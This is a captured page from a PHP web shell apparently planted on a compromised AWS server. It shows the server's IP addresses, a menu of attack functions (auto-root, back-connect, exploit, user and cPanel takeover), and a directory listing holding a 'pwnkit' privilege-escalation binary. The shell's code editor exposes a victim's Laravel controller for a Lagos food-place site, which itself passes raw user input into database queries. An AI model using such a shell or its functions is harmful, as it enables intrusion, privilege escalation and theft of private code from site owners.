Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.219.81.99
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxrwxr-x
Auth
[ DIR ]
drwxrwxr-x
.DS_Store
6
KB
-rw-rw-r--
.mad-root
0
B
-rw-r--r--
AdminController.php
29.09
KB
-rw-rw-r--
Controller.php
2.18
KB
-rw-rw-r--
FoodController.php
3.54
KB
-rw-rw-r--
HomeController.php
2.37
KB
-rw-rw-r--
NewPlaceController.php
7.93
KB
-rw-rw-r--
PlaceController.php
30.13
KB
-rw-rw-r--
UserController.php
8.28
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PlaceController.php
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Auth; use App\Place; use App\Jobs\ProcessImage; use App\Jobs\ProcessReviewImage; use App\Mail\NewBusiness; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class PlaceController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $db = DB::getMongoDB(); $query = ''; $user = $request->user(); $projection = ['_id' => 0, 'name' => 1, 'slug' => 1, 'image' => 1, 'address' => 1, 'phones' => 1]; if($user) { $projection['liked'] = ['$in' => [(string) $user->_id, '$likes']]; }else { $projection['liked'] = ['$in' => [1, '$likes']]; } if (isset($_GET['q']) && $search = $_GET['q']) { $query = explode("(", urldecode($search))[0]; $places = $db->places->aggregate([ ['$match' => ['name' => ['$regex' => "$query", '$options' => 'i'], 'enabled' => true]], ['$limit' => 40], ['$project' => $projection] ])->toArray(); // $places = $db->places->find([ // 'name' => ['$regex' => "$query", '$options' => 'i'] // ], ['limit' => 40, 'projection' => $projection])->toArray(); if (count($places) === 1) { return redirect()->route('places.show', ['place' => $places[0]['slug']]); } return view('places.index', [ 'places' => $places, 'title' => 'Search results: ' . $query, 'place' => $search, 'page' => 'Places', 'query' => $query ?: '' ]); }else { $search = null; $places = $db->places->aggregate([ ['$match' => ['popular' => true, 'enabled' => true]], ['$sample' => ['size' => 20]], ['$project' => $projection] ])->toArray(); // $places = Place::simplePaginate(15); } return view('places.index', ['page' => 'Places', 'places' => $places, 'query' => $query ?: '']); } public function results() { return view('food.reactfeed'); } /** * Show the form for adding a new place. * * @return \Illuminate\Http\Response */ public function suggest(Request $request) { if (Auth::user()->role !== 'admin') { abort(403, 'Unauthorized action.'); } // var_dump($request->session());die; return view('places.suggest', ['title' => 'Add a place', 'page' => 'Places']); } public function franchise($slug = null) { if (Auth::user()->role !== 'admin') { abort(403, 'Unauthorized action.'); } $db = DB::getMongoDB(); if ($slug) { $place = $db->places->findOne(['slug' => $slug]); if($place){ $food = $db->fooding->find(['place_slug' => $place['slug']]); // return response()->json(['place' => $place, 'food' => $food->toArray()]); return view('places.franchise', ['title' => 'Edit Place', 'place' => $place, 'food' => $food]); } } return view('places.franchise', ['title' => 'Add a place', 'page' => 'Places']); } public function editPlace($slug) { $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $slug]); if($place){ $food = $db->fooding->find(['place_slug' => $place['slug']], ['_id' => ['$toString' => '$_id'], 'name' => 1, 'price' => 1, 'description' => 1, 'category' => 1])->toArray(); // return response()->json(['place' => $place, 'food' => $food->toArray()]); return view('places.suggest', ['title' => 'Edit Place', 'place' => $place, 'food' => $food]); } } /** * Display a place. * * @param int $place * @return \Illuminate\Http\Response */ public function show(String $slug, Request $request) { // $place = Place::where('slug', $slug)->where('enabled', true)->firstOrFail(); $db = DB::getMongoDB(); $place = $db->places->findOneAndUpdate( ['slug' => $slug, 'enabled' => true], ['$inc' => ['views' => 1]], [ 'returnDocument' => \MongoDB\Operation\FindOneAndUpdate::RETURN_DOCUMENT_AFTER ] ); if(!$place) { abort(404); } $user = Auth::user() ? (string) Auth::user()->_id : 0; return view('places.apiview', [ 'title' => 'Place', 'page' => 'Places', 'slug' => $slug, 'user' => $user, 'placename' => $place['name'], 'image' => $place['image'] ?? [], 'address' => $place['address'], 'type' => $place['type'] ?? '', 'tags' => isset($place['tags']) ? implode(", ", $place['tags']->getArrayCopy()) : "", 'categories' => $place['category'] ? implode(", ", $place['category']->getArrayCopy()) : "" ]); } /** * Display a place. * * @param int $place * @return \Illuminate\Http\Response */ public function newPlace(String $slug, Request $request) { // $place = Places::where('slug', $slug)->firstOrFail(); $db = DB::getMongoDB(); $place = $db->placing->findOne(['slug' => $slug]); return view('places.apiviewnew', [ 'title' => 'Place', 'page' => 'Place', 'slug' => $slug, 'placename' => $place['name'], 'image' => $place['image'] ]); } /** * Check if updated place is part of a franchise * and update other franchise places with relevant info * @param array $updated updated place array * @return array list of franchise places */ public function updateFranchise($updated) { $db = DB::getMongoDB(); // $franchise = $updated ? [$updated] : [$db->places->findOne(['slug' => $place['slug']])]; // check if updated place is part of a franchise if($updated && isset($updated['franchise'])) { // retrieve other places part of the franchise $franchise = $db->places->find(['franchise' => $updated['franchise']], ['projection' => ['_id' => 0, 'slug' => 1, 'name' => 1]])->toArray(); if(count($franchise) > 1){ // update other franchises with category and type details $db->places->updateMany(['franchise' => $updated['franchise']], ['$set' => ['type' => $updated['type'] ?? 'restaurant', 'category' => $updated['category'] ?? []]]); } }else $franchise = [$updated]; return $franchise; } public function unsetVariables($user, $POST) { $extras = [ 'name' => trim($POST['name']), 'image' => $POST['uploadimage'] ?? [], 'phones' => array_filter($POST['phone']), 'created' => (new \DateTime('now'))->format('d-m-Y H:i:s'), 'user' => (string) $user->email, 'location' => array( 'type' => 'Point', 'coordinates' => [floatval($POST['longitude']) ?? 0, floatval($POST['latitude']) ?? 0] ), 'category' => $_POST['category'] ?? [] ]; $opening = $_POST['opening'] ?? ""; $closing = $_POST['closing'] ?? ""; $extras['times'] = [ "mon" => [$opening, $closing], "tue" => [$opening, $closing], "wed" => [$opening, $closing], "thu" => [$opening, $closing], "fri" => [$opening, $closing], "sat" => [$opening, $closing], "sun" => [$opening, $closing], ]; $slug = $POST['edit']; $food = $POST['food'] ?? null; unset($POST['phone'], $POST['longitude'], $POST['latitude'], $POST['food'], $POST['edit'], $POST['_token'], $POST['uploadimage'], $POST['opening'], $POST['closing']); return array($extras, $slug, $food, $POST); } /** * Save a new place or edit an existing one. * * @return \Illuminate\Http\Response */ public function store(Request $request) { $db = DB::getMongoDB(); // dd($_POST); $user = $request->user(); list($extras, $slug, $food, $post) = $this->unsetVariables($user, $_POST); if($slug) $extras['modified_by'] = (string) $user->email; else $extras['created_by'] = (string) $user->email; $extras['nickname'] = preg_replace("/[')(]/", "", $extras['name']); $extras['likes'] = []; $extras['enabled'] = true; $extras['owner'] = $_POST['email']; $slug = $slug ?: $this->slugify($extras['name']); $files = $request->file('image'); // $files = $this->handleImagesNow($this->handleArrayInput($_FILES['image'])); $images = $toProcess = []; $oldImages = $_POST['uploadimage'] ?? []; $accepted = ["jpeg", "png", "jpg"]; if($files && count($files)){ $imagePath = "/places/images/"; foreach ($files as $i => $file) { // if(in_array($file->guessExtension(), $accepted)){ $filename = uniqid() . ".jpg"; // store file locallyZ $path = $file->storeAs($imagePath, $filename); $toProcess[$i] = []; $toProcess[$i]['file'] = storage_path('app/public/places/images/' . $filename); // $toProcess[$i]['file'] = $path; $toProcess[$i]['slug'] = $slug; // $toProcess[$i]['file'] = $file['tmp_name']; $toProcess[$i]['url'] = $imagePath . $filename; // $images[] = storage_path('app/public/places/images/' . $filename); $images[] = env('S3_BASE_URL') . $imagePath . $filename; // } } ProcessImage::dispatch($toProcess); } $extras['image'] = array_merge($images, $oldImages); $place = array_merge($post, $extras); $updated = $db->places->findOneAndUpdate( ['slug' => $slug], ['$set' => $place], [ 'upsert' => true, 'returnDocument' => \MongoDB\Operation\FindOneAndUpdate::RETURN_DOCUMENT_AFTER ] ); // if update, check if place is part of franchise and get list of franchise places // else put stored place in an array of one and return // $franchise = $updated ? $this->updateFranchise($updated) : [$db->places->findOne(['_id' => $newPlace->getInsertedId()])]; if($food) $this->saveFood($updated, $food); return $user->super ? redirect()->route('admin_places') : redirect('/user/profile#/places'); } /** * Traverse an associative array and * @param array $arrayInput * @return array */ private function handleArrayInput(array $arrayInput) { try { $keys = array_keys($arrayInput); $f = array(); for ($i=0; $i < count($arrayInput[$keys[0]]); $i++) { $n = array(); foreach ($keys as $key) { $n[$key] = $arrayInput[$key][$i]; } $f[] = $n; } return $f; } catch (\Exception $e) { } } /** * Save food items belonging to a place * * @param Place $place Place instance * @param array $foodpost food items from form * @param array $franchise list of franchise places **/ public function saveFood($place, $foodpost) { // $keys = array_keys($foodpost); $f = $this->handleArrayInput($foodpost); // dd($f); $db = DB::getMongoDB(); $user = Auth::user(); // dd($f); foreach($f as $foodDetails) { // Check if food name already exists in database if (isset($foodDetails['food']) && $foodDetails['food']) { // var_dump($foodDetails);die; $food = []; $id = $foodDetails['id'] ?? ''; $food['name'] = $foodDetails['food']; $food['price'] = explode(".", str_replace(",", "", $foodDetails['price']))[0] ?? 0; $food['category'] = $foodDetails['foodCategory'] ?? ''; $food['description'] = $foodDetails['description'] ?? ''; $food['place_name'] = $place['name']; $food['place_slug'] = $place['slug']; if($id){ // If edit $food['updated'] = (new \DateTime('now'))->format('d-m-Y H:i:s'); $food['modified_by'] = (string) $user->email; // dd($food); $d = $db->fooding->updateOne( [ '_id' => new \MongoDB\BSON\ObjectId($id) ], [ '$set' => $food ], [ 'upsert' => true ] ); }else{ $food['created'] = (new \DateTime('now'))->format('d-m-Y H:i:s'); $food['created_by'] = (string) $user->email; $d = $db->fooding->insertOne($food); } } } return true; } public function getPictures($slug) { $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $slug], ['projection' => ['_id' => 0, 'image' => 1]]); return response()->json(['status' => 'success', 'pictures' => $place['image'] ?? []]); } public function removePicture($slug, $index = 0) { $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $slug]); // var_dump($slug); // var_dump($place); // var_dump($index);die; if($place){ $images = (array) $place['image']; array_splice($images, $index, 1); $db->places->updateOne(['slug' => $slug], ['$set' => ['image' => $images]]); return response()->json(['status' => 'success']); } } public function suggestPlace(Request $request) { return view('places.new', ['title' => 'Suggest a place', 'suggest' => true, 'page' => 'Suggest']); } public function register(Request $request) { return view('places.new', ['title' => 'Register your Business', 'suggest' => false, 'page' => 'Claim your Business']); } public function registerNewPlace(Request $request) { $place = $_POST; $db = DB::getMongoDB(); $date = (new \DateTime('now'))->format('d-m-Y H:i:s'); $place['added'] = $date; $res = $db->register->insertOne($place); Mail::to(getenv('ADMIN_EMAIL'))->send(new NewBusiness($_POST)); return view('user.holder', ['title' => 'Register', 'page' => 'Register']); } /** * Show form to rate place * * @param String $slug Place slug * @return Response **/ public function rate(String $slug, Request $request) { if($request->isXmlHttpRequest()){ $place = Place::where('slug', $slug)->orWhere('name', $slug)->first(); if($place){ return view('places.rate', ['place' => $place]); } } return redirect()->route('places.show', ['slug' => $slug]); } public function rating(Request $request) { $data = json_decode($request->getContent(), true); return $this->postPlaceRating($data); } public function getName() { $names = ['Mike', 'Jola', 'Nneka', 'Emmanuel', 'Samantha', 'Ashley', 'Ify', 'Jetro', 'Jemimah', 'Uche', 'Princess']; $rand = rand(0, count($names)-1); return $names[$rand]; } /** * Find places by name * * @param String $name * @return Response **/ public function find(String $name) { $places = Place::where('name', 'like', "%$name%")->get(); return view('food.nearby', ['places' => $places, 'title' => 'Search results: ' . $name, 'page' => 'Places']); } /** * Find places by category * * @param String $category * @return Response **/ public function findByCategory(String $category = null) { // $places = Place::where('type', $category)->simplePaginate(15); return view('food.apinearby', ['page' => 'Places']); } /** * Show a place or list of places from a search. * * @param String $encoded * @return \Illuminate\Http\Response */ public function search() { $db = DB::getMongoDB(); $query = ''; if (isset($_GET['q']) && $search = $_GET['q']) { $query = explode("(", urldecode($search))[0]; $places = $db->places->find([ 'name' => ['$regex' => "$query", '$options' => 'i'] ], ['limit' => 40, 'projection' => ['_id' => 0, 'name' => 1, 'slug' => 1, 'image' => 1, 'address' => 1]])->toArray(); if (count($places) === 1) { return redirect()->route('places.show', ['place' => $places[0]['slug']]); } return view('food.nearby', [ 'places' => $places, 'title' => 'Search results: ' . $query, 'place' => $search, 'page' => 'Find Place', 'query' => $query ?: '' ]); }else { $search = null; $places = $db->places->aggregate([ ['$match' => ['popular' => true]], ['$sample' => ['size' => 20]], ['$project' => ['_id' => 0, 'name' => 1, 'slug' => 1, 'image' => 1, 'address' => 1, 'phones' => 1]] ])->toArray(); // $places = Place::simplePaginate(15); } return view('food.nearby', ['page' => 'Find Place', 'places' => $places, 'query' => $query ?: '']); } /** * Generate a random string for email verification * @param int $length * @return string **/ private function randomString($length = 32) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } /** * Find Places with matching criteria * **/ public function findPlace(Request $request) { $token = Str::random(24); $db = DB::getMongoDB(); $food = isset($_GET['food']) ? trim($_GET['food']) : ''; $address = $_GET['address'] ?? ''; $longitude = $_GET['longitude'] ?? ''; $image = $this->getSearchImage($food); $searchTitle = $this->getTitle($food, $address); $now = (new \DateTime())->format('Y-m-d H:i:s'); $id = uniqid(); Session::put('search_id', $id); $db->search->insertOne(['food' => $food, 'address' => $address, 'longitude' => $longitude, 'token' => $token, 'created' => $now]); return view('places.apinearby', ['page' => 'Home', 'food' => $food, 'location' => $address, 'image' => $image, 'token' => $token, 'searchTitle' => $searchTitle, 'url' => $request->getUri()]); } private function getTitle($food, $address) { $areas = self::getAreas(); if($address) { $address_parts = explode(" ", str_replace(", ", " ", strtolower($address))); $matched_areas = array_filter($address_parts, function($address_part) use ($areas) { return array_key_exists($address_part, $areas); }); $location = count($matched_areas) ? $areas[array_values($matched_areas)[0]] : substr($address, 0, 15); }else { $location = "Lagos"; } $search = $food ? ucfirst($food) : "food"; return sprintf('Find %s around %s', $search, $location); } private static function getAreas() { return ["ikeja" => "Ikeja", "magodo" => "Magodo", "surulere" => "Surulere", "ikoyi" => "Ikoyi", "victoria" => "VI", "yaba" => "Yaba", "ikorodu" => "Ikorodu", "gbagada" => "Gbagada", "lekki" => "Lekki", "lekki" => "Lekki", "ajah" => "Ajah", "festac" => "Festac", "chevron" => "Chevron", "ebute" => "Ebute Metta", "somolu" => "Somolu", "maryland" => "Maryland"]; } private function getSearchImage($searchterm) { $image = 'https://www.cravvings.com/images/brand/card_1.jpg'; $defaultImages = self::getDefaultImages(); if ($searchterm && isset($defaultImages[strtolower($searchterm)])) { $image = $defaultImages[strtolower($searchterm)]; } return $image; } private static function getDefaultImages() { return [ "peppersoup" => "https://www.cravvings.com/images/resized/peppersoup_cropped.jpg", "goat meat" => "https://www.cravvings.com/images/resized/peppersoup_cropped.jpg", "catfish peppersoup" => "https://www.cravvings.com/images/resized/catfish-peppersoup_cropped.jpg", "catfish" => "https://www.cravvings.com/images/resized/catfish-peppersoup_cropped.jpg", "grilled fish" => "https://www.cravvings.com/images/resized/grilled-fish_cropped.jpg", "croaker fish" => "https://www.cravvings.com/images/resized/grilled-fish_cropped.jpg", "abacha" => "https://www.cravvings.com/images/resized/abacha_cropped.jpg", "shawarma" => "https://www.cravvings.com/images/resized/shawarma_cropped.jpg", "rice" => "https://www.cravvings.com/images/resized/rice_cropped.jpg", "jollof rice" => "https://www.cravvings.com/images/resized/rice_cropped.jpg", "ofada" => "https://www.cravvings.com/images/resized/ofada_cropped.jpg", "nkwobi" => "https://www.cravvings.com/images/resized/nkwobi_cropped.jpg", "spaghetti" => "https://www.cravvings.com/images/resized/spaghetti_cropped.jpg", "moi moi" => "https://www.cravvings.com/images/resized/moi-moi_cropped.jpg", "amala" => "https://www.cravvings.com/images/resized/amala_cropped.jpg", "egusi" => "https://www.cravvings.com/images/resized/egusi_cropped.jpg", "fried rice" => "https://www.cravvings.com/images/resized/fried-rice_cropped.jpg", "oha" => "https://www.cravvings.com/images/resized/oha_cropped.jpg", "ofe oha" => "https://www.cravvings.com/images/resized/oha_cropped.jpg", "peppered chicken" => "https://www.cravvings.com/images/resized/peppered-chicken_cropped.jpg", "chicken" => "https://www.cravvings.com/images/resized/peppered-chicken_cropped.jpg", "chicken wings" => "https://www.cravvings.com/images/resized/chickenwings.jpg", "wings" => "https://www.cravvings.com/images/resized/chickenwings.jpg", "edikaikong" => "https://www.cravvings.com/images/resized/edikaikong_cropped.jpg", "okra" => "https://www.cravvings.com/images/resized/okra_cropped.jpg", "seafood okra" => "https://www.cravvings.com/images/resized/okra_cropped.jpg", "boli" => "https://www.cravvings.com/images/resized/boli_cropped.jpg", "asun" => "https://www.cravvings.com/images/resized/asun_cropped.jpg", "suya" => "https://www.cravvings.com/images/resized/suya_cropped.jpg", "corn" => "https://www.cravvings.com/images/resized/corn_cropped.jpg", "corn on the cob" => "https://www.cravvings.com/images/resized/corn_cropped.jpg" ]; } /** * Delete Place * * @param string $slug **/ public function delete(string $slug) { $place = Place::where('slug', $slug)->first(); $place->delete(); return response()->json(['status' => 'success']); } /** * Show the form for editing the specified resource. * * @param string $slug * @return \Illuminate\Http\Response */ public function edit($slug) { $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $slug]); if($place){ $food = $db->fooding->find(['place_id' => (string) $place['_id']]); return response()->json(['place' => $place, 'food' => $food->toArray()]); } return response()->json(['message' => 'Not Found.'], 404); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $slug * @return \Illuminate\Http\Response */ public function destroy($slug) { $db = DB::getMongoDB(); $place = $db->places->deleteOne(["slug" => $slug]); $foods = $db->fooding->deleteMany(['place_slug' => $slug]); return response()->json(['deleted' => $place]); } /** * Get reviews * **/ public function getReviews($place_slug) { $db = DB::getMongoDB(); // $place = $db->places->findOne(['slug' => $place_slug], ['projection' => ['_id' => 0, 'name' => 1, 'avg_rate' => 1]]); // if(!$place) abort(404); $reviews = $db->reviews->find(['place_slug' => $place_slug], ['projection' => ['_id' => 0]])->toArray(); // dd($place); return view('food.reviews', [ 'reviews' => $reviews, 'place_name' => count($reviews) ? $reviews[0]['place_name'] : '', 'place_slug' => $place_slug ]); } public function foods(){ return response()->json(['hello' => 'halo']); } public function myPlaces() { return view('places.myplaces'); } public function userPlaces() { $db = DB::getMongoDB(); $user = Auth::user(); $pipeline = ['$lookup' => [ 'from' => 'fooding', 'let' => ['id' => '$slug'], 'pipeline' => [ ['$match' => [ '$expr' => [ '$eq' => ['$place_slug', '$$id'] ], '$or' => [['created_by' => $user->email], ['modified_by' => $user->email]] ]] ], 'as' => 'food' ] ]; $places = $db->places->aggregate([$pipeline, ['$match' => ['food' => ['$ne' => []]]]])->toArray(); return response()->json($places); } public function preNewReview($place_slug, $food_id = null) { $food = null; $db = DB::getMongoDB(); $place = $db->places->findOne(['slug' => $place_slug]); if(!$place) return redirect('/review'); if($food_id){ $food = $db->fooding->aggregate([ ['$match' => [ 'place_slug' => $place_slug, '_id' => new \MongoDB\BSON\ObjectId($food_id)] ]], [ '$project' => [ '_id' => [ '$toString' => '$_id' ], 'name' => 1, 'price' => 1 ] ] )->toArray(); } return view('places.prereview', ['page' => 'Review', 'place' => $place, 'food' => $food ? $food[0] : null]); } public function newReview() { return view('places.review', ['page' => 'Review']); } // public function nicknames() // { // $db = DB::getMongoDB(); // $places = $db->places->find(['image' => ['$regex' => "res.cloudinary"]])->toArray(); // $count = 0; // foreach ($places as $place) { // // if($count === 5) break; // // $count++; // $images = $place['image']; // foreach ($place['image'] as $i => $image) { // if(str_contains($image, 'res.cloudinary')){ // $imagePath = "/places/images/" . uniqid('place_') . ".jpg"; // $fullImageUrl = env('S3_BASE_URL') . $imagePath; // // var_dump($data['image']);die; // try{ // ProcessReviewImage::dispatchNow($image, $imagePath); // $images[$i] = $fullImageUrl; // }catch (\Exception $e){ // } // } // } // $db->places->updateOne(['slug' => $place['slug']], ['$set' => ['image' => $images]]); // } // return response()->json(['message' => [$places[0], $places[1], $places[2]]]); // } // public function revs() // { // $db = DB::getMongoDB(); // $reviews = $db->reviews->find(['image' => ['$regex' => "res.cloudinary"]])->toArray(); // $count = 0; // foreach ($reviews as $review) { // // if($count === 2) break; // // $count++; // $image = $review['image']; // if(str_contains($image, 'res.cloudinary')){ // $imagePath = "/reviews/images/" . uniqid('review_') . ".jpg"; // $fullImageUrl = env('S3_BASE_URL') . $imagePath; // // var_dump($data['image']);die; // try{ // ProcessReviewImage::dispatchNow($image, $imagePath); // $image = $fullImageUrl; // $db->reviews->updateOne(['_id' => $review['_id']], ['$set' => ['image' => $image]]); // }catch (\Exception $e){ // } // } // } // return response()->json(['message' => [$reviews[0], $reviews[1]]]); // } }
Close